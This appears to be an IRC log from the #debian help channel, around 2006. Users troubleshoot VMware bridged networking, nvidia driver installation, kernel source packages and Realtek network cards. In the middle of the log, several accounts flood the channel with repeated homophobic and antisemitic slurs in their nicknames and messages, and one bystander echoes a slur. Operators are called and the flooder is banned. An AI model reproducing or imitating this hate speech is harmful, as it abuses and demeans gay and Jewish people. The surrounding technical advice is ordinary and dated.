| 04:38.10 | tulioanjos | and the configuration in panel control |
| 04:38.18 | tulioanjos | default ? |
| 04:38.40 | PowerPC | yep |
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| 04:38.59 | tulioanjos | VMware Network Adapter VMnet8; VMware Network Adapter VMnet1 |
| 04:39.00 | tulioanjos | right ? |
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| 04:39.07 | PowerPC | mhmm |
| 04:39.08 | curt | marty, that (inetdutils-inetd) package isn't in debian at all either... |
| 04:39.28 | marty | hmm |
| 04:39.31 | Wyzard | PowerPC: Bridged VMs don't get their IP address from the host... not unless you've manually set up a DHCP server on the host or something |
| 04:39.44 | marty | it's in the repository i have in my sources.list |
| 04:40.04 | tulioanjos | omg i need a lot of studdy |
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| 04:40.14 | PowerPC | it doesnt get it from my wireless adapter, it gets it from my network card via ICS |
| 04:40.29 | curt | marty, its not at pdo.debain.net nor in my reps or on bjorn.haxx.se |
| 04:40.35 | Wyzard | ...ICS would be the DHCP server I mentioned |
| 04:40.39 | Wyzard | Anyway, that's Windows config stuff |
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| 04:40.42 | PowerPC | basically |
| 04:40.43 | PowerPC | lol |
| 04:40.45 | kizmet | the nvidia one-liner gives me the following problem |
| 04:40.46 | marty | humph |
| 04:40.47 | kizmet | apt-get install module-assistant && m-a prepare && m-a a-i nvidia && apt-get install nvidia-glx nvidia-settings && modprobe nvidia && echo nvidia >> /etc/modules && dpkg-reconfigure xserver-xfree86 (or xserver-xorg on testing and unstable). Contrib and non-free sources needed. See <n |
| 04:40.50 | kizmet | whoops |
| 04:40.51 | marty | well, i'm removing it |
| 04:40.59 | kizmet | The following packages will be REMOVED |
| 04:40.59 | kizmet | <PROTECTED> |
| 04:40.59 | kizmet | The following NEW packages will be installed |
| 04:41.00 | kizmet | <PROTECTED> |
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| 04:41.01 | marty | curt, thanks |
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| 04:41.32 | kspath | !tell kizmet about paste |
| 04:41.45 | Azar | kizmet are you running etch with xorg and xfree? hanky-panky style? |
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| 04:41.58 | PowerPC-Debian | this is on chatzilla on Debian in VMware |
| 04:41.59 | kizmet | Azar, im running testing. |
| 04:42.10 | curt | marty, it's > inetutils-inetd |
| 04:42.22 | marty | right |
| 04:42.26 | Azar | kizmet, yes I thought so.... why are you running testing? |
| 04:42.27 | marty | sorry about that misspelling |
| 04:42.40 | kizmet | Azar, uhm, Dunno. |
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| 04:42.49 | kizmet | Its allways been more uptodate than stable |
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| 04:43.01 | Azar | kizmet, wrong choice, if you are not participating with any skills in the testing |
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| 04:43.23 | marty | curt, i'm installing netkit-inetd instead |
| 04:43.29 | kizmet | So what you want me to re-install with stable ?/ |
| 04:43.29 | Wyzard | kizmet: It's also the last to get security patches |
| 04:43.36 | Azar | kizmet: now you have half unstable system, prone to crash and you do not seem able to figure it out? |
| 04:43.47 | rredd4 | how do I fix grub if it would not let me boot up? |
| 04:43.50 | nekostar | hmm |
| 04:44.03 | nekostar | anyone know of a good howto for eggdrop? |
| 04:44.05 | kizmet | Azar, your wrong there, Testing has NEVER been unstable for me EVER |
| 04:44.15 | Wyzard | kizmet: If you want a more "current" desktop system rather than a rock-solid tried-and-true system, you might prefer Ubuntu |
| 04:44.22 | Azar | kizmet: I did not say unstable I said half unstable |
| 04:44.32 | PowerPC-Debian | ubuntu didnt like me |
| 04:44.34 | PowerPC-Debian | lol |
| 04:44.36 | tulioanjos | Wyzard cant do that |
| 04:44.45 | kizmet | same ubuntu is crap |
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| 04:44.48 | Wyzard | tulioanjos: Can't do what? |
| 04:44.48 | kspath | nekostar: There is a channel for talking about nonsense |
| 04:44.48 | Azar | kizmet: ok the way I see it you are using both, xfree and xorg, why? |
| 04:44.52 | tulioanjos | the vmware is bridged |
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| 04:44.57 | marty | tah tah folks |
| 04:45.03 | kizmet | Azar, because apt installed them ? |
| 04:45.06 | tulioanjos | but the router cant ping the vmware ip |
| 04:45.09 | nekostar | kspath, and the channel for pricks is right next to it ~_^ |
| 04:45.19 | Azar | kizmet: apt installs only what you ask it for |
| 04:45.21 | PowerPC-Debian | when i booted into ubuntu, video died and i couldnt see anything until i shut my comp down |
| 04:45.29 | Wyzard | tulioanjos: The address you mentioned wasn't a 192.168.1.x one... are you sure that's the correct address? |
| 04:45.48 | PowerPC-Debian | the one on here is set to 192.168.0.198 |
| 04:45.50 | RedDrag0n | So..... anybody know how to change X cursor themes in debian? |
| 04:45.50 | streuner_ | PowerPC: we aren't care about ubuntu-problems |
| 04:45.56 | kizmet | Azar, apt-get install xserver-xorg Result: installing xserver-xorg and xserver-xfree86 |
| 04:45.56 | tulioanjos | debian ifconfig = 192.168.1.33 |
| 04:46.02 | nekostar | try updating the links when scoffing |
| 04:46.09 | Wyzard | tulioanjos: Can you ping that address from the PC? |
| 04:46.09 | PowerPC-Debian | i know streuner i was just mentioning it |
| 04:46.09 | tulioanjos | windows ipconfig = 192.168.249.1 from vmnet8 |
| 04:46.15 | tulioanjos | Wyzard no |
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| 04:46.29 | Wyzard | tulioanjos: The vmnet8 address is irrelevant now |
| 04:46.30 | tulioanjos | windows ipconfig = 192.168.91.1 from vmnet1 |
| 04:46.44 | streuner_ | PowerPC-Debian: get debian-installer and try debian |
| 04:46.48 | beered | is it possible to apt-get everything for 2200BG (intel wireless) cards? |
| 04:46.58 | Azar | kizmet: ok when you do the nvidia one-liner, and tells you it will remove xfree and xorg, just let it do that. you can install xorg back afterwards |
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| 04:47.00 | PowerPC-Debian | streuner thats why im here |
| 04:47.13 | streuner_ | !d-i PowerPC-Debian |
| 04:47.13 | dpkg | PowerPC-Debian, you want to go to http://www.debian.org/releases/sarge/debian-installer/ - for your own good, and everyone else's. |
| 04:47.18 | kizmet | Azar, it then uninstalls nvidia-glx tho |
| 04:47.25 | Supaplex | m00 |
| 04:47.30 | Wyzard | tulioanjos: vmnet1 and vmnet8 are your host-only and NAT interfaces, which you're not using now |
| 04:47.36 | Azar | kizmet: it might be ok since you can allways reinstall it |
| 04:47.42 | PowerPC-Debian | when i tried to install it, i got an error saying nothing like no kernel modules found |
| 04:47.42 | tulioanjos | Wyzard: ok |
| 04:47.47 | Supaplex | qemu > vmware |
| 04:47.48 | tulioanjos | but i cant acess my vmware ip's |
| 04:48.01 | Wyzard | tulioanjos: Your bridged virtual machine should now have a 192.168.1.x address given to it by your router, just like any physical PC plugged into your network would |
| 04:48.19 | Wyzard | tulioanjos: And that, and only that, is the address you should use to communicate with the VM |
| 04:48.27 | Azar | kizmet: however I never used etch so it might act differently than the stable, you will have lots to learn |
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| 04:48.34 | PowerPC-Debian | something @ steurner |
| 04:48.37 | PowerPC-Debian | * |
| 04:48.41 | tulioanjos | Wyzard: your sure that ip is seted by the router ? |
| 04:49.11 | Wyzard | tulioanjos: Is your host PC, running windows, configured with a static IP? Or is it using DHCP? |
| 04:49.17 | PowerPC-Debian | i used the same image that i burned the CD from and it goes through and installs fine |
| 04:49.23 | Wyzard | tulioanjos: (On your "Local Area Connection" or whatever it's called, not on the VMware interfaces) |
| 04:49.25 | tulioanjos | Wyzard: can u VNC me ? |
| 04:49.33 | tulioanjos | i'm totally lost |
| 04:49.59 | PowerPC-Debian | so struener could you help me? |
| 04:50.31 | Wyzard | tulioanjos: OK... unless your router is something really weird, it almost certainly has a DHCP server for assigning IP addresses to computers on your LAN |
| 04:50.56 | streuner_ | PowerPC-Debian: so you using ppc, right? |
| 04:50.57 | Azar | PowerPC-Debian: http://www.debian.org/doc/ "If you are new to Debian we recommend you start first by reading the Release Notes, Installation Guide and the Debian GNU/Linux FAQ before you make your first Debian installation, it will probably answer many questions and help you work with your new Debian system." |
| 04:51.01 | tulioanjos | Wyzard: yes i got a Local Connection |
| 04:51.07 | tulioanjos | in painel control |
| 04:51.08 | PowerPC-Debian | no im installing it on an x86 machine |
| 04:51.42 | kspath | PowerPC-Debian: That is the truth or sarcasm? |
| 04:51.55 | PowerPC-Debian | kspath: truth |
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| 04:52.01 | PowerPC | CPU: AMD Sempron 2600+, 1.64 GHz, 128 KB (2% Load) |
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| 04:52.17 | BxL | how do I install a graphical partitionner (qtparted or gparted) on sarge? |
| 04:52.21 | tulioanjos | Wyzard i setted the vmnet to get automatic a ip address |
| 04:52.22 | tulioanjos | let me test it now |
| 04:52.24 | kspath | 128KB cache? RAM? |
| 04:52.30 | PowerPC-Debian | cache |
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| 04:52.57 | Wyzard | tulioanjos: The VMware network interface in Windows? |
| 04:53.05 | tulioanjos | Wyzard: yep |
| 04:53.14 | tulioanjos | Wyzard o.o |
| 04:53.17 | tulioanjos | i think that will work now |
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| 04:53.25 | RedDrag0n | At least, no one can suggest me another channel where can I ask how to change the X cursor theme -_-'? |
| 04:53.26 | kspath | PowerPC-Debian: That is a decent machine. I got one of those when my old Athlon 1.4Ghz released the majik smoke |
| 04:53.32 | streuner_ | PowerPC-Debian: which iso did you use? |
| 04:53.41 | tulioanjos | Wyzard try now plz |
| 04:53.54 | Wyzard | tulioanjos: All that will do is break your NAT or host-only virtual networking |
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| 04:53.56 | kenk | where is a reliable link to get the source of kernel-2.6.15 to build the image? |
| 04:53.57 | Wyzard | tulioanjos: Change it back |
| 04:54.02 | PowerPC-Debian | the 3.1r1 x86 binary disk 1 streuner |
| 04:54.07 | jharrison | anyone here have intel gigabit cards? |
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| 04:54.20 | Wyzard | tulioanjos: You do not configure the virtual machine's IP address by changing anything on the host system |
| 04:54.27 | kspath | PowerPC-Debian: Not the netinstall ? |
| 04:54.30 | tulioanjos | Wyzard it worked ? |
| 04:54.31 | tulioanjos | 201.10.177.36 port 22 |
| 04:54.35 | streuner_ | PowerPC-Debian: hm, does the install-guide mention something about? |
| 04:54.44 | RedDrag0n | BxL: apt-get ? |
| 04:54.44 | rredd4 | what should I use for a boot/rescue cd for sarge? |
| 04:54.48 | Wyzard | tulioanjos: No, it does not work |
| 04:54.54 | PowerPC-Debian | kspath: i would but my wireless adapter is not native to the instealler |
| 04:55.04 | Wyzard | tulioanjos: Please stop jumping to conclusions and changing settings without knowing what they're for |
| 04:55.10 | Azar | kenk: mirrors.kernel.org |
| 04:55.22 | PowerPC-Debian | streuner: i couldnt find anything. I burned the CD from the exact same ISO that i used to install this on VMware |
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| 04:55.31 | kenk | Azar, will check it out, thks. |
| 04:55.32 | tulioanjos | Wyzard: my vmware is accesing internet now |
| 04:55.36 | tulioanjos | and it is setted to bridge |
| 04:55.39 | Wyzard | tulioanjos: Change your VMware network connections back to the static IPs they were using |
| 04:55.46 | BxL | RedDrag0n, which repos? it's not in the official one |
| 04:55.48 | tulioanjos | thats a progress |
| 04:56.07 | tulioanjos | with static ip adress i cant acess the vmware ip |
| 04:56.12 | kspath | PowerPC-Debian: wow, I do the opposite on my machines. I have NO wireless and just use the well known 100Mb ether |
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| 04:56.29 | Wyzard | tulioanjos: That's because you're trying to ping the wrong address |
| 04:57.07 | curt | BxL, both are in testing |
| 04:57.09 | Wyzard | Your virtual machine is accessing the Internet using an IP it got from your router, just like any other PC on your LAN would... it has nothing to do with changing the VMware network connections in Windows |
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| 04:57.44 | Wyzard | tulioanjos: Change those network connections back to the static addresses and then forget about them. Pretend they don't exist. |
| 04:57.45 | PowerPC-Debian | kspath: I would do wired networking, but i dont want to have cables running down the stairs and across the floor to the router |
| 04:57.54 | tulioanjos | Wyzard: ok |
| 04:58.15 | Wyzard | tulioanjos: Then, *in the virtual machine*, log in and run "ifconfig eth0" at a command prompt |
| 04:58.15 | kenk | Azar, which is the latest kernel available w source for debian 'testing'? |
| 04:58.27 | RedDrag0n | BxL: curt is right... googling a bit I found a link too http://people.warp.es/~xtor/blog/?p=61 - there you can get another .deb file, but the ones in the testing repo would be the ones to get first as they're in the official testing repositories :P |
| 04:58.33 | curt | 2.6.15.1 i think |
| 04:58.34 | streuner | PowerPC-Debian: how about to 'bring' the box to the router? |
| 04:58.35 | Azar | kenk I am not sure, I guess 2.6.14 |
| 04:58.44 | kspath | PowerPC-Debian: have you thought about installing wired and then switch to wireless? |
| 04:58.53 | Azar | oh .15 is officially out? wow |
| 04:58.59 | BxL | RedDrag0n, curt, i don'T use testing |
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| 04:59.04 | kenk | Azar, that's fne, can check it out with apt. |
| 04:59.07 | Wyzard | Azar: It's been out for a month or two |
| 04:59.16 | curt | BxL, go figure. |
| 04:59.23 | PowerPC-Debian | streunder: my netowrk card isnt standard |
| 04:59.24 | Azar | Wyzard, nice |
| 04:59.28 | tulioanjos | Wyzard do u got msn ? |
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| 04:59.33 | Wyzard | tulioanjos: no |
| 04:59.35 | fr500 | hello |
| 04:59.37 | warthawg | will debian install detect an onboard ethernet if it's not connected to a LAN? |
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| 04:59.45 | PowerPC-Debian | kspath: my network setup is really messed up lol |
| 04:59.55 | hanasaki | my current debian install... etch.. sees my 120 gig ide hd fine.. bios and the sarge installer see it as a 33gig drive... what causes this? |
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| 05:00.13 | kenk | Azar, curt, it is only 2.6.8! |
| 05:00.28 | fr500 | i'm having dpkg problems, when running apt-get update, i get timeouts, takes a loooong time and does not download all the sources, same sources.list works fine at the office, good connection on both sides |
| 05:00.38 | BxL | RedDrag0n, thanks for the link |
| 05:00.41 | streuner | PowerPC-Debian: does the network card has a chipset? |
| 05:00.48 | warthawg | i am trying to install on an MSI mainboard with a Realtek 8201 onboard ethernet. what driver should i use? |
| 05:00.48 | RedDrag0n | BxL: welcome, hope it works :D |
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| 05:01.49 | PowerPC-Debian | streuner: It is integrated into the motherboard. The motherboard make/model is an ABIT KU8 |
| 05:01.54 | Wyzard | warthawg: Yes... finding the network device is a separate issue from detecting whether it has a cable plugged in |
| 05:02.15 | warthawg | Wyzard, thanks, I guess the 8201 is not supported out of the box |
| 05:02.56 | hanasaki | why would a 120gig ide drive show up as 120 gig in my current debian install and 33 gig from both bios and the sarge install disk |
| 05:03.06 | streuner | PowerPC-Debian: do you have another NIC handy? |
| 05:03.13 | godmachine81 | how come when i mark all my upgrades in sarge it wants to remove gnome? |
| 05:03.15 | curt | kenk linux-source-2.6.15 |
| 05:03.17 | Azar | kenk 2.6.8 is the highest precompiled offered kernel in Sarge |
| 05:03.18 | fr500 | can anyone help me? |
| 05:03.20 | PowerPC-Debian | streunder: I have a realtek i could probably use |
| 05:03.28 | PowerPC-Debian | streuner* |
| 05:03.52 | curt | kenk, that's from etch |
| 05:04.05 | kenk | i searched for kernel-source. what's the diff between linux-source and kernel-source? |
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| 05:04.33 | Wyzard | kenk: They renamed the packages as of 2.6.12 or 2.6.13 (don't remember which) as part of a reorganization of the source package |
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| 05:04.44 | Azar | extra extra for whomever want /need to check drivers: http://kmuto.jp/debian/hcl/ |
| 05:04.45 | Wyzard | kenk: Functionally, it's the same thing; just a different name in the later versions |
| 05:04.54 | PowerPC | Connection: Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport @ 10.0 Mbps (Rec: 0.00MB Sent: 0.00MB) |
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| 05:05.14 | PowerPC | whoa i didnt know it was 10mbps |
| 05:05.27 | Wyzard | umm... the 8139 is a 100mbit card |
| 05:05.28 | kenk | Wyzard, i see, thks. |
| 05:05.33 | curt | kenk, my understanding is that name is all, newer ones are linux- |
| 05:05.47 | PowerPC | Wyzard: weird |
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| 05:06.00 | jayr168 | hey guys |
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| 05:06.01 | Wyzard | PowerPC: Maybe the hub/switch only supports 10? |
| 05:06.08 | jayr168 | i finally got kde to run |
| 05:06.14 | jayr168 | but I got another problem |
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| 05:06.27 | jayr168 | how do I install driver for nvidia pcx 5300 |
| 05:06.29 | jayr168 | ? |
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| 05:06.32 | PowerPC | Connection: IC Plus IP100 10/100 Fast Ethernet Adapter - Packet Scheduler Miniport @ 100.0 Mbps (Rec: 14.54MB Sent: 132.59MB) |
| 05:06.48 | PowerPC | Wyzard: i know for sure my switch is 10/100 |
| 05:06.50 | Azar | jayr168: debian distro? kernel version? |
| 05:06.57 | jayr168 | 3.0 |
| 05:07.04 | jayr168 | i mean 3.1 "sarge" |
| 05:07.17 | jayr168 | kernel 2.1.27 |
| 05:07.23 | jayr168 | i mean kernel 2.4.27 |
| 05:07.25 | Wyzard | PowerPC: dunno then... maybe the "RTL8139 Family" is a lower-end 10mbit variant or something |
| 05:07.30 | Azar | :D you mean a lot |
| 05:07.48 | Azar | jayr168: you will better upgrade the kernel to 2.6.8 first |
| 05:07.50 | PowerPC | Connection: Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport @ 10.0 Mbps (Rec: 0.00MB Sent: 0.00MB) |
| 05:07.51 | Wyzard | PowerPC: though it's hard to imagine a low-end 8139, considering that they normally only cost around $5 USD in the first place |
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| 05:07.57 | jayr168 | how do I do that? |
| 05:08.14 | PowerPC | Wyzard: i dunno i pulled this from an old gateway |
| 05:08.15 | freeone3000 | apt-get install linux-image-2.6.8 |
| 05:08.18 | streuner | Wyzard: hehe :-) |
| 05:08.26 | Azar | jayr168: first you need to select the kernel 2.6.8 for the cpu you are using: apt-cache search kernel-image |
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| 05:08.35 | p8m | The chipset also has "Fast Ethernet" in the description, implying 10/100. |
| 05:09.01 | PowerPC | Connection: Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport @ 10.0 Mbps (Rec: 0.00MB Sent: 0.00MB) |
| 05:09.10 | Azar | jayr168: when you find the one that works for your cpu, write it down then : aptitude install kernel-image-xxxxxxx ( xxx is the specs for it). |
| 05:09.12 | PowerPC | aww come on not even setting it to 100 Full works |
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| 05:09.14 | jayr168 | im using pentium 4 3.0ghz |
| 05:09.17 | Wyzard | PowerPC: Low-quality ethernet cable, maybe? |
| 05:09.35 | PowerPC | Wyzard: uhh...no ethernet cable plugged into it :D |
| 05:09.40 | Wyzard | ah |
| 05:09.41 | Azar | jayr168: there are some pentiums in the list, pick the one that works for yours |
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| 05:10.16 | Wyzard | PowerPC: Try plugging it in... it'll autonegotiate once it's connected to something, so the initial speed setting is probably irrelevant anyway |
| 05:10.55 | mesaboogie1 | bibi |
| 05:11.31 | PowerPC | Connection: Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport @ 100.0 Mbps (Rec: 0.00MB Sent: 0.00MB) |
| 05:11.36 | PowerPC | aha... |
| 05:11.40 | curt | jayr168, no |
| 05:11.41 | Wyzard | :-) |
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| 05:11.48 | PowerPC | uhh |
| 05:11.49 | PowerPC | woops |
| 05:11.51 | curt | jayr168, just use the nv in xorg |
| 05:12.28 | Azar | curt: is jayr168 pm-ing you? :D |
| 05:12.32 | curt | no |
| 05:12.43 | curt | he asked about nvidia no kernel |
| 05:12.54 | Azar | ok |
| 05:12.58 | PowerPC | streuner: i'll haul my box downstairs tomorrow and do the net install with the realtek |
| 05:13.09 | Azar | he is using sarge, will xorg work ? |
| 05:13.18 | curt | he's been doodling here on and off all weekend |
| 05:13.39 | jayr168 | I got it |
| 05:13.39 | Azar | well.... ok I have no idea about xorg, I can't help him then |
| 05:13.48 | jayr168 | its now installing from CD1 |
| 05:13.52 | Azar | jayr168: if you want xorg, ask curt |
| 05:14.39 | curt | jayr168, what is? |
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| 05:14.58 | PowerPC | brb im tired (11:13PM, heh spent too much time figuring out my Debian problem :P) |
| 05:15.38 | kspath | are you sure it is a debian problem |
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| 05:15.53 | PowerPC | kspath: either way i'm tired lol |
| 05:16.10 | godmachine81 | how come when i mark all my upgrades in sarge it wants to remove gnome? |
| 05:16.20 | jayr168 | ok its done installing |
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| 05:16.35 | jayr168 | how do I check my current version of my kernel? |
| 05:16.42 | PowerPC | uname -a |
| 05:16.43 | kspath | uname -r |
| 05:16.45 | godmachine81 | jayr168: uname -r |
| 05:16.48 | PowerPC | uhh both work |
| 05:16.55 | streuner | godmaschine: tell us your sources.list (/msg dpkg paster) |
| 05:17.24 | PowerPC | anyways, installing debian tomorrow :) brb |
| 05:17.28 | jayr168 | my god its still using v 2.4 |
| 05:17.42 | godmachine81 | streuner: all my sources are sarge from usherbrook |
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| 05:17.53 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:17.53 | jayr168 | but I already apt-get install kernel-2.6.x.xx. |
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| 05:17.56 | streuner | godmaschine: What does 'dpkg -l libc6 | tail -1 && apt-cache policy libc6 | grep 500' say? |
| 05:17.57 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:17.59 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.00 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.01 | PowerPC | wtf? |
| 05:18.04 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.04 | Jesus_Hates_Fags | FUCK FAGGOTS |
| 05:18.04 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.06 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.10 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.11 | Fags_Must_DIE | I HATE FAGGOTS! |
| 05:18.11 | curt | jayr168, i think you just want to set the video driver in xserver-xfree86 to nv |
| 05:18.12 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.14 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.14 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.17 | streuner | !ops somebody flooding us |
| 05:18.17 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.17 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: somebody flooding us |
| 05:18.17 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.18 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.18 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.21 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.21 | kspath | !troll KIKE_FAGGOT |
| 05:18.21 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.21 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.22 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.23 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.23 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.25 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.25 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.25 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.25 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.25 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.26 | kspath | !ops |
| 05:18.26 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.26 | I_Hate_Faggots | I HATE FAGGOTS! |
| 05:18.26 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.27 | dpkg | Please invoke 'dpkg: ops $problem' to call the ops to deal with a specific problem |
| 05:18.27 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.27 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.27 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.28 | *** mode/#debian [+o helix] by ChanServ |
| 05:18.29 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.29 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.31 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.31 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.31 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.33 | PowerPC | WTF!!!!! |
| 05:18.33 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.33 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.34 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.34 | jayr168 | i tried that but NV is not really working |
| 05:18.35 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.35 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.37 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.38 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.39 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
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| 05:18.43 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
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| 05:18.44 | KIKE_FAGGOT | WHO HATES FAGGOTS? |
| 05:18.45 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.47 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.47 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.47 | helix | holy shit |
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| 05:18.49 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.49 | Jesus_Hates_Fags | GOD HAS A SPECIAL SEAT IN HELL FOR FAGS |
| 05:18.50 | Fags_Must_DIE | I HATE FAGGOTS |
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| 05:18.51 | KIKE_FAGGOT | FUCK YOU FAGGOTS |
| 05:18.51 | d4t2ilLa | hehehe |
| 05:18.52 | Fags_Must_DIE | I HATE FAGGOTS |
| 05:18.53 | Fags_Must_DIE | I HATE FAGGOTS |
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| 05:18.54 | streuner | pool-138-89-150-131.mad.east.verizon.net |
| 05:18.55 | Fags_Must_DIE | I HATE FAGGOTS |
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| 05:18.57 | iNAP | put +m |
| 05:18.58 | curt | dpkg: ops $problem |
| 05:18.58 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: $problem |
| 05:19.03 | d4t2ilLa | hehe |
| 05:19.08 | curt | fuck |
| 05:19.09 | PowerPC | that was uh...weird |
| 05:19.11 | streuner | pool-138-89-150-131.mad.east.verizon.net |
| 05:19.13 | p8m | wow |
| 05:19.13 | d4t2ilLa | what a faggot? |
| 05:19.15 | jayr168 | can somebody kick or ban this flooder |
| 05:19.25 | curt | he's gone now |
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| 05:19.28 | d4t2ilLa | cool |
| 05:19.32 | streuner | helix already did, thanks helix |
| 05:19.35 | jayr168 | i tried that but NV is not really working |
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| 05:19.39 | godmachine81 | streuner: 2.3.5.9 installed? |
| 05:19.53 | d4t2ilLa | jayr168 trying to get x running? |
| 05:19.54 | p8m | jez, such a fuss over a smoke |
| 05:19.54 | streuner | godmaschine: What does 'dpkg -l libc6 | tail -1 && apt-cache policy libc6 | grep 500' say? |
| 05:20.14 | kspath | wow, amazing how many useless mouth breathers can get their buddies to script for them so they can think they are some kind of uber script kiddie wanna bee moron |
| 05:20.19 | godmachine81 | streuner: are you asking what version of libc6 i have? |
| 05:20.23 | Azar | jayr168: you want to install nvidia with a 2.4.27 kernel? then use xorg? |
| 05:20.27 | jayr168 | x is already running but im using vesa drivers |
| 05:20.37 | jayr168 | i want to use nvidia pcx 5300 drivers |
| 05:20.42 | iNAP | ok.. so im still in the shell, i havent installed gnome yet, because im having internet setting problems... now when i type ifconfig, i see that my inet address is set to 127.0.0.1 and i need to change that.. what can i do? i tried adding the lines auto eth0 and iface eth0 inet dhcp to the interfaces but it didnt seem to work.. and during my installation, it didnt find the network.. so it didnt download the packages, and i need to re-down |
| 05:20.43 | streuner | godmaschine: yes, and some other infos as well |
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| 05:21.06 | godmachine81 | it just tells what repos i have, which are the sarge at usherbrook like i said |
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| 05:21.18 | d4t2ilLa | i am having trouble trying to get x server to support nv 6600gt |
| 05:21.18 | curt | jayr168, you can try apt-get install nvidia-glx nvidia-kernel-source nvidia-settings |
| 05:21.23 | Azar | jayr168: the 2.6.8 kernel has more support for drivers (nvidia included) you decide if you want it or not |
| 05:21.45 | Wyzard | d4t2ilLa: I don't know whether the "nv" driver supports that, but nVidia's proprietary driver does |
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| 05:34.00 | lord_of_kernels | curt, does that mean i cant have xorg running with nvidia module now ? |
| 05:34.07 | Wyzard | stoned: SATA-1 is much faster than any hard drive can actually read from the disk surface, so if you're reading from the disk itself rather than the drive's internal cache, the SATA interface is not the bottleneck |
| 05:34.09 | curt | no |
| 05:34.11 | stoned | Wyzard, I ask because I bought a 250gb sata2 drive, but unfortunately my mobo only supports sata1, so im only going at 150, ide is about 133 anyway, so sata2 at 300 doesn't give any sort of speed increase on server machines? |
| 05:34.22 | stoned | ahh |
| 05:34.26 | kspath | Gnome and KDE and even xfce seem so HUGE and bloated with "features" |
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| 05:34.32 | jharrison | I have nvidia module working with my kernel |
| 05:34.46 | lord_of_kernels | jharrison, with xorg ? |
| 05:34.47 | curt | lord_of_kernels, however xserver-xorg should work just fine without nvidia-glx using nv |
| 05:34.48 | deadcat | kspath: dont forget E |
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| 05:34.50 | jharrison | lord_of_kernels: yes |
| 05:34.53 | stoned | kspath, its not bloat if the features are useful. useful here being very relative. |
| 05:35.00 | streuner | !congratulate jharrison |
| 05:35.01 | dpkg | Good show jharrison, you did it! |
| 05:35.27 | jharrison | streuner: you didnt have to |
| 05:35.45 | lord_of_kernels | jharrison, how were you able to do it. I mean when i try to apt-get install nvida-glx it removes xserver-xorg ? |
| 05:35.55 | d4t2ilLa | stoned the bandwidth is 3.0gb, but the hd transfer does not take up 3.0gb |
| 05:35.59 | deadcat | lord_of_kernels: get nvidia-glx from unstable |
| 05:36.05 | lord_of_kernels | curt, i am using nv drivers |
| 05:36.10 | jharrison | lord_of_kernels: well I compile my own kernel which I would assume you know how to do as well |
| 05:36.24 | curt | lord_of_kernels, then you don't need nvidia-glx |
| 05:36.25 | lord_of_kernels | jharrison, ah! yes ;) |
